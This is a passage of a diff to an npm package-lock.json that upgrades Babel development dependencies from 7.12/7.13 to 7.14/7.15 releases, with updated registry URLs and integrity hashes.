"sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", + "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/generator": "^7.13.9", - "@babel/helper-function-name": "^7.12.13", - "@babel/helper-split-export-declaration": "^7.12.13", - "@babel/parser": "^7.13.15", - "@babel/types": "^7.13.14", + "@babel/code-frame": "^7.14.5", + "@babel/generator": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4", "debug": "^4.1.0", "globals": "^11.1.0" } }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } - }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true } } }, "@babel/helper-optimise-call-expression": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.12.13.tgz", - "integrity": "sha512-BdWQhoVJkp6nVjB7nkFWcn43dkprYauqtk++Py2eaf/GRDFm5BxRqEIZCiHlZUGAVmtwKcsVL1dC68WmzeFmiA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.15.4.tgz", + "integrity": "sha512-E/z9rfbAOt1vDW1DR7k4SzhzotVV5+qMciWV6LaG1g4jeFrkDlJedjtV4h0i4Q/ITnUu+Pk08M7fczsB9GXBDw==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" }, "dependencies": { "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } } } }, "@babel/helper-plugin-utils": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.13.0.tgz", - "integrity": "sha512-ZPafIPSwzUlAoWT8DKs1W2VyF2gOWthGd5NGFMsBcMMol+ZhK+EQY/e6V96poa6PA/Bh+C9plWN0hXO1uB8AfQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.14.5.tgz", + "integrity": "sha512-/37qQCE3K0vvZKwoK4XU/irIJQdIfCJuhU5eKnNxpFDsOkgFaUAwbv+RYw6eYgsC0E4hS7r5KqGULUogqui0fQ==", "dev": true }, "@babel/helper-remap-async-to-generator": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.13.0.tgz", - "integrity": "sha512-pUQpFBE9JvC9lrQbpX0TmeNIy5s7GnZjna2lhhcHC7DzgBs6fWn722Y5cfwgrtrqc7NAJwMvOa0mKhq6XaE4jg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.15.4.tgz", + "integrity": "sha512-v53MxgvMK/HCwckJ1bZrq6dNKlmwlyRNYM6ypaRTdXWGOE2c1/SCa6dL/HimhPulGhZKw9W0QhREM583F/t0vQ==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.12.13", - "@babel/helper-wrap-function": "^7.13.0", - "@babel/types": "^7.13.0" + "@babel/helper-annotate-as-pure": "^7.15.4", + "@babel/helper-wrap-function": "^7.15.4", + "@babel/types": "^7.15.4" }, "dependencies": { "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } } } }, "@babel/helper-replace-supers": { - "version": "7.13.12", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.13.12.tgz", - "integrity": "sha512-Gz1eiX+4yDO8mT+heB94aLVNCL+rbuT2xy4YfyNqu8F+OI6vMvJK891qGBTqL9Uc8wxEvRW92Id6G7sDen3fFw==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.15.4.tgz", + "integrity": "sha512-/ztT6khaXF37MS47fufrKvIsiQkx1LBRvSJNzRqmbyeZnTwU9qBxXYLaaT/6KaxfKhjs2Wy8kG8ZdsFUuWBjzw==", "dev": true, "requires": { - "@babel/helper-member-expression-to-functions": "^7.13.12", - "@babel/helper-optimise-call-expression": "^7.12.13", - "@babel/traverse": "^7.13.0", - "@babel/types": "^7.13.12" + "@babel/helper-member-expression-to-functions": "^7.15.4", + "@babel/helper-optimise-call-expression": "^7.15.4", + "@babel/traverse": "^7.15.4", + "@babel/types": "^7.15.4" }, "dependencies": { "@babel/code-frame": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", - "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", "dev": true, "requires": { - "@babel/highlight": "^7.12.13" + "@babel/highlight": "^7.14.5" } }, "@babel/generator": { - "version": "7.13.9", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", - "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", + "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", "dev": true, "requires": { - "@babel/types": "^7.13.0", + "@babel/types": "^7.15.6", "jsesc": "^2.5.1", "source-map": "^0.5.0" } }, "@babel/helper-function-name": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", - "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.12.13", - "@babel/template": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/helper-get-function-arity": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", - "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-split-export-declaration": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", - "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/highlight": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", - "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", + "@babel/helper-validator-identifier": "^7.14.5", "chalk": "^2.0.0", "js-tokens": "^4.0.0" } }, "@babel/parser": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", - "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", "dev": true }, "@babel/template": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", - "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/parser": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/traverse": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", - "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", + "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/generator": "^7.13.9", - "@babel/helper-function-name": "^7.12.13", - "@babel/helper-split-export-declaration": "^7.12.13", - "@babel/parser": "^7.13.15", - "@babel/types": "^7.13.14", + "@babel/code-frame": "^7.14.5", + "@babel/generator": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4", "debug": "^4.1.0", "globals": "^11.1.0" } }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } - }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true } } }, "@babel/helper-simple-access": { - "version": "7.13.12", - "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.13.12.tgz", - "integrity": "sha512-7FEjbrx5SL9cWvXioDbnlYTppcZGuCY6ow3/D5vMggb2Ywgu4dMrpTJX0JdQAIcRRUElOIxF3yEooa9gUb9ZbA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.15.4.tgz", + "integrity": "sha512-UzazrDoIVOZZcTeHHEPYrr1MvTR/K+wgLg6MY6e1CJyaRhbibftF6fR2KU2sFRtI/nERUZR9fBd6aKgBlIBaPg==", "dev": true, "requires": { - "@babel/types": "^7.13.12" + "@babel/types": "^7.15.4" }, "dependencies": { "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } } } }, "@babel/helper-skip-transparent-expression-wrappers": { - "version": "7.12.1", - "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.12.1.tgz", - "integrity": "sha512-Mf5AUuhG1/OCChOJ/HcADmvcHM42WJockombn8ATJG3OnyiSxBK/Mm5x78BQWvmtXZKHgbjdGL2kin/HOLlZGA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.15.4.tgz", + "integrity": "sha512-BMRLsdh+D1/aap19TycS4eD1qELGrCBJwzaY9IE8LrpJtJb+H7rQkPIdsfgnMtLBA6DJls7X9z93Z4U8h7xw0A==", "dev": true, "requires": { - "@babel/types": "^7.12.1" + "@babel/types": "^7.15.4" }, "dependencies": { "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } } @@ -1209,285 +1040,255 @@ "integrity": "sha512-/8arLKUFq882w4tWGj9JYzRpAlZgiWUJ+dtteNTDqrRBz9Iguck9Rn3ykuBDoUwh2TO4tSAJlrxDUOXWklJe4g==" }, "@babel/helper-validator-option": { - "version": "7.12.17", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.12.17.tgz", - "integrity": "sha512-TopkMDmLzq8ngChwRlyjR6raKD6gMSae4JdYDB8bByKreQgG0RBTuKe9LRxW3wFtUnjxOPRKBDwEH6Mg5KeDfw==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.14.5.tgz", + "integrity": "sha512-OX8D5eeX4XwcroVW45NMvoYaIuFI+GQpA2a8Gi+X/U/cDUIRsV37qQfF905F0htTRCREQIB4KqPeaveRJUl3Ow==", "dev": true }, "@babel/helper-wrap-function": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.13.0.tgz", - "integrity": "sha512-1UX9F7K3BS42fI6qd2A4BjKzgGjToscyZTdp1DjknHLCIvpgne6918io+aL5LXFcER/8QWiwpoY902pVEqgTXA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.15.4.tgz", + "integrity": "sha512-Y2o+H/hRV5W8QhIfTpRIBwl57y8PrZt6JM3V8FOo5qarjshHItyH5lXlpMfBfmBefOqSCpKZs/6Dxqp0E/U+uw==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.12.13", - "@babel/template": "^7.12.13", - "@babel/traverse": "^7.13.0", - "@babel/types": "^7.13.0" + "@babel/helper-function-name": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/traverse": "^7.15.4", + "@babel/types": "^7.15.4" }, "dependencies": { "@babel/code-frame": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", - "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", "dev": true, "requires": { - "@babel/highlight": "^7.12.13" + "@babel/highlight": "^7.14.5" } }, "@babel/generator": { - "version": "7.13.9", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", - "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", + "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", "dev": true, "requires": { - "@babel/types": "^7.13.0", + "@babel/types": "^7.15.6", "jsesc": "^2.5.1", "source-map": "^0.5.0" } }, "@babel/helper-function-name": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", - "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.12.13", - "@babel/template": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/helper-get-function-arity": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", - "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-split-export-declaration": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", - "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/highlight": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", - "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": 